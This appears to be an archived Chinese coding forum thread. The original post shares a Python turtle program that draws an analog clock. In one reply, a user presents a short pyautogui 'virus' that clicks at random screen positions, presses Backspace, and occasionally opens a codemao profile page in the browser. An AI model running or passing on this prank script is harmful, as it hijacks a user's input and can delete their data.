猫史档案馆


python小作品

用户:Minecraft65555Minecraft65555查看:4 回复:1 评论:4 创建时间:2024-08-08T12:03:09


闲着没事用python弄了一个钟

import turtle as u
from datetime import *
import time

def createHand(length,name,color):
    u.pendown()
    u.begin_poly()
    u.goto(-3,length - 10)
    u.goto(0,length)
    u.goto(3,length - 10)
    u.goto(0,0)
    u.end_poly()
    u.penup()
    userHand = u.get_poly()
    u.register_shape(name,userHand)
    userTurtle = u.Turtle()
    userTurtle.shape(name)
    userTurtle.color(color)
    userTurtle.fillcolor(color)
    userTurtle.resizemode("user")
    userTurtle.shapesize(1,1,3)
    userTurtle.speed(0)
    return userTurtle

def initHands():
    global secTurtle,minTurtle,hourTurtle
    secTurtle = createHand(135,"secTuetle","blue")
    minTurtle = createHand(110,"minTuetle","green")
    hourTurtle = createHand(90,"hourTuetle","red")

def drawScales():
    u.tracer(False)
    u.penup()
    u.hideturtle()
    dor_r = 150
    for i in range(60):
        u.home()
        u.left(i * 6)
        u.forward(dor_r)
        u.pendown()
        if i % 5 == 0:
            u.pensize(8)
            u.color("green")
            u.forward(20)
        else:
            u.color("purple")
            u.dot(5)
        u.penup()

def printText(x,y,content,userTurtle):
    userTurtle.penup()
    userTurtle.goto(x,y)
    userTurtle.write(content,align = "center",font = ("Courier",14,"bold"))

def setBgColor(hour):
    bgColor = "white"
    if int(hour) > nightBegin or int(hour) < nightEnd:
        bgColor = "black"
    else:
        bgColor = "white"
    color = u.color()
    if color[1] != bgColor:
        u.screensize(200,200,bgColor)

def getWeekDay(t):
    return week[t.weekday()]

def getData(t):
    return "%s%s%s"%(t.year,t.month,t.day)

def loopWork():
    t = datetime.today()
    second = t.second + t.microsecond * 0.000001
    minute = t.minute + second / 60
    hour = t.hour + minute / 60
    setBgColor(hour)
    global secTurtle,minTurtle,hourTurtle,textTurtle
    secTurtle.setheading(6 * second)
    minTurtle.setheading(6 * minute)
    hourTurtle.setheading(30 * hour)
    u.tracer(False)
    printText(0,80,getWeekDay(t),textTurtle)
    printText(0,20,getData(t),textTurtle)
    printText(0,-70,"earth time",textTurtle)
    textTurtle.hideturtle()
    u.tracer(True)
    u.ontimer(loopWork,100)

def main():
    u.mode("logo")
    initHands()
    global textTurtle
    textTurtle = u.Turtle()
    textTurtle.color("purple")
    u.reset()
    drawScales()
    u.ontimer(loopWork,10)
    u.done()

secTurtle,minTurtle,hourTurtle,textTurtle = None,None,None,None
week = ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"]
nightBegin,nightEnd = 18,5

if __name__ == "__main__":
    main()

《这钟比我家挂钟都走的准》

 


回复

上一页1 页 / 共 1下一页
chenmou9672chenmou9672

#看看我写的病毒 importrandom importtime importos importpyautogui foriinrange(200): pyautogui.click(random.randint(0,1920),random.randint(0,1080)) pyautogui.keyDown('BACKSPACE') ifrandom.randint(0,10)==0: os.system('starthttps://shequ.codemao.cn/user/1257829672')

点赞0


评论